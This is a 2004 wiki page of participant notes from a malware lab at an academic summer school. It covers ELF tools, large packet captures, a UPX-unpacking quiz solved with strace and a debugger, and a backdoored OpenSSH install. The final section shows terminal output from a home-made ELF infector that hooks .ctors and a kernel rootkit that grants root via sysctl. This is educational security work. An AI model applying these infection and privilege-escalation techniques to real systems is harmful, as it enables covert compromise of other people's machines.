Summerschool Aachen 2004/Malware Lab

From C4 Wiki
Jump to: navigation, search

Notes about Lab Session

more elf tools

  • elfsh - elf shell


I decided to install and test an openssh-3.7.1p2 backdoor today. As I didn't want to mess around with my own computer I asked the "LuFG I4" to lend me their notebook ;) and they were so kind to lend it to me. I first had some problems to install the backdoor as many necessary libraries were not installed and I had problems installing some of them (which took me a while to do so). But finally it worked out and I got that program running which was quite interesting. Apart from that we discussed during lunch about security issues in student dorms and later we discussed how to get to Essen tomorrow...


Some more ELF articles

Here are a couple of (old) articles about ELF, but they're nicely written:

and the online copy of the binutils documentation is here:

--Slewis 18:56, 6 Oct 2004 (CEST)

Google Help

As some of the participants were not very happy with Google, I looked for that older version of Google Help which I once read. I found it here: [1]

-- Alexander Becher

What to do with large capture files

I played with the 1.6 GiB pcap file of summerschool traffic. It's not fun to have either ethereal or tcpdump display that file, because my machine does not have enough memory and I do not have enough patience.

I found the tools tcpslice and pcapmerge, which can be used to split pcap files into smaller pieces. These pieces can then be analyzed by ethereal without waiting forever.

-- Alexander Becher

small quiz

There is a really small quiz consisting of just one question here.

The Quiz, Question 1

The perl scripts execute the system call with the number 4, sys_write(), supplying a file descriptor of "1", which denotes stdout, the standard address of the ELF header of the binary (probably the perl interpreter) being executed (increased by 1 to skip the leading 0x7f) and an output length of "3". The perl script outputs "ELF" on my Linux box.

The Quiz, Question 2

I found out that the "yourtoy" file was a UPX - compressed file pretty fast. But trying to uncompress it with the upx utility didn't succeed as the file seemed to be corrupt.
I then tried upx'ing two other files, creating hexdumps of them and then doing a "diff3" on the hexdumps. I noticed that there were some areas where the other files matched but differed from "yourtoy" so I tried overwriting the corresponding areas in "yourtoy" with a hexeditor with the values found in the other files, but this did not work out.
After that i downloaded the source code for upx and ucl (the library upx uses) and used ddd to debug upx. I traced through several function calls until I found the one that finally returned the information "this is not a valid upx file". That function just searched the to-be-uncompressed file for some magic string, which it didn't find in "yourtoy". I then had a look at the other files I had created to find out that those contained the string twice whereas "yourtoy" only contained it once and instead of a second occurence contained another magic string of bovine origin. I replaced that with the correct string and was finally able to uncompress "yourtoy".

-- Lutz Böhne

I too had no problem finding the UPX header information in the packed binary. I tried to understand the UPX header format in order to be able to find bugs in the yourtoy compressed executable. After starring at it for a while and not knowing why the four bytes I thought were the version number were not at all what I expected, I tried to find the origin of the NotPackedException (btw. you only get it if you do a "upx -d yourtoy"). But after like five files of C++ code I can only barely read I gave up about this. I then upx'ed another binary and compared it to the provided one in order to find differences. But I only had a look at the top of the file b/c that's where I thought the header resided. Of course I had no luck with this either, so I jumped back into the source, finally finding a comment which explained the file layout. Now that I knew I had to look at the bottom, things were pretty straightforward. By changing only three bytes you could make the UPX file actually behave like it was supposed to...

-- Ernest Hammerschmidt

I did things a bit different. When I noticed that *someone* had messed up the upx header (or is it footer ?) I tried to look for documentation on the upx site. I didn't find any decent documentation on their site and didn't feel like looking at the source code because experiece has told me that such a thing can take a while (and we only have a couple of hours for the labsession). After some playing around with a hexeditor (to try and figure out what got changed) I got bored with the hexeditor and started looking at the manual file of upx. It said something interesting:


       How it works:

         Because Linux is a real operating system, the in-place in-memory
         decompression scheme used in the other executable formats doesn't
         work here.

         Instead we must use temporary decompression to disk. Interestingly -
         because of the good memory management of the Linux kernel - this
         often does not introduce a noticable delay, and in fact there
         will be no disk access at all if you have enough free memory as
         the entire process takes places within the filesystem buffers.

         A compressed executable consists of the UPX stub and an overlay
         which contains the original program in a compressed form.

         The UPX stub is a statically linked ELF executable and does
         the following at program startup:

           1) decompress the overlay to a temporary location in /tmp

Hm, so it gets decompressed in some temp file. To test this I made a test user and used the strace utility to see if this was true:

test@%m:%~% strace -i -s 10  ./yourtoy 
[????????] execve("./yourtoy", ["./yourtoy"], [/* 32 vars */]) = 0
[08048296] getpid()                     = 1664
[080482cf] open("/proc/1664/exe", O_RDONLY) = 3
[080482f1] lseek(3, 1468, SEEK_SET)     = 1468
[08048232] read(3, "\27\4`\341"..., 12) = 12
[08048351] gettimeofday({1097073253, 115757}, NULL) = 0
[0804837c] unlink("/tmp/upxBXX3ARQABUA") = -1 ENOENT (No such file or directory)
[0804839d] open("/tmp/upxBXX3ARQABUA", O_WRONLY|O_CREAT|O_EXCL, 0700) = 4
[080483aa] ftruncate(4, 15996)          = 0
[080483bc] old_mmap(NULL, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000
[08048232] read(3, "|>\0\0\315"..., 8)  = 8
[08048232] read(3, "\177?d\371"..., 5837) = 5837
[0804846d] write(4, "\177ELF\1\1"..., 15996) = 15996
[0804858b] unlink("/tmp/upxBXX3ARQABUA") = 0
[08048590] _exit(134518160)             = ?

Aha ! so it just gets uncompressed and stored in some file in /tmp. I then fired up my debugger, set a breakpoint at 0x08048589 (right before the unlink()) and ran it. at this point it was uncompressed and not deleted yet. Then I ran file to see if that is the real binary:

test@%m:%~% ls -alhp *upxB* -rwx------ 1 test users 16K Oct 6 12:39 upxBXX3ARQABUA test@%m:%~% file upxBXX3ARQABUA upxBXX3ARQABUA: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), not stripped test@%m:%~%

I found what I needed to solve the second question. hooray :)

-- Ilja van Sprundel

I tried to find errors in the ELF header, but it looked alright. In desperation i ran strace against the binary and discovered the tempfile. Grabbing tempfiles is quite easy...

# first term
while true; do ./yourtoy; done 
# other term
cd tmp; while true; do cp upx* old.`date +%H%M%S` 2>/dev/null; done

After a minute i stopped the loops and used "file" to discover a working copy.

--MM 17:22, 6 Oct 2004 (CEST)

I made an infection tool which uses .eh_frame to store the evil payload. The infection routine doesn't overwrite the the entry point, but instead it makes an entry is the constructor list (.ctors). The evil payload does nothing else then print a string and then leave, ret. an example:

ilja@nikita:~/Summerschool/lab/virus%make infect
cc     infect.c   -o infect
ilja@nikita:~/Summerschool/lab/virus%cp /bin/ls .
ilja@nikita:~/Summerschool/lab/virus%./infect ./ls
offset to .eh_frame: 0x10a20
The .eh_frame addr: 0x8058a20
addr_shellcode: 0x8058a20
offset to .ctors: 0x11328
netric was here # <-- this is the strings :) 
answers            getroot.c  ilrk.o       ilrk3.o  infect.c  malware-unix.pdf  upx                    upx.hex      

next I made a small rootkit. I abused the register_sysctl_table() function which allows me to register an entry for sysctl() calls. When you use sysctl() right the entry I registered gets used and it calls the handler in it (which you can specify). All my handler does is give you uid/gid 0. but this could be extended with ease. It works like this:

ilja@nikita:~/Summerschool/lab/virus/ilrk%gcc -c ilrk.c -I/lib/modules/$(uname -r)/build/include
root@nikita:/home/ilja/Summerschool/lab/virus/ilrk#insmod ilrk.o                                
Module                  Size  Used by    Not tainted
ilrk                     780   0  (unused)
snd-pcm-oss            37252   0  (unused)
agpgart                39576   0  (unused)
ilja@nikita:~/Summerschool/lab/virus/ilrk%make getroot   
cc     getroot.c   -o getroot
uid=500(ilja) gid=500(ilja) groups=500(ilja),11(floppy)
sh-2.05b# id
uid=0(root) gid=0(root) groups=500(ilja),11(floppy)

I'll shortly upload both the rootkit and the virus to the ftpd.

-- Ilja van Sprundel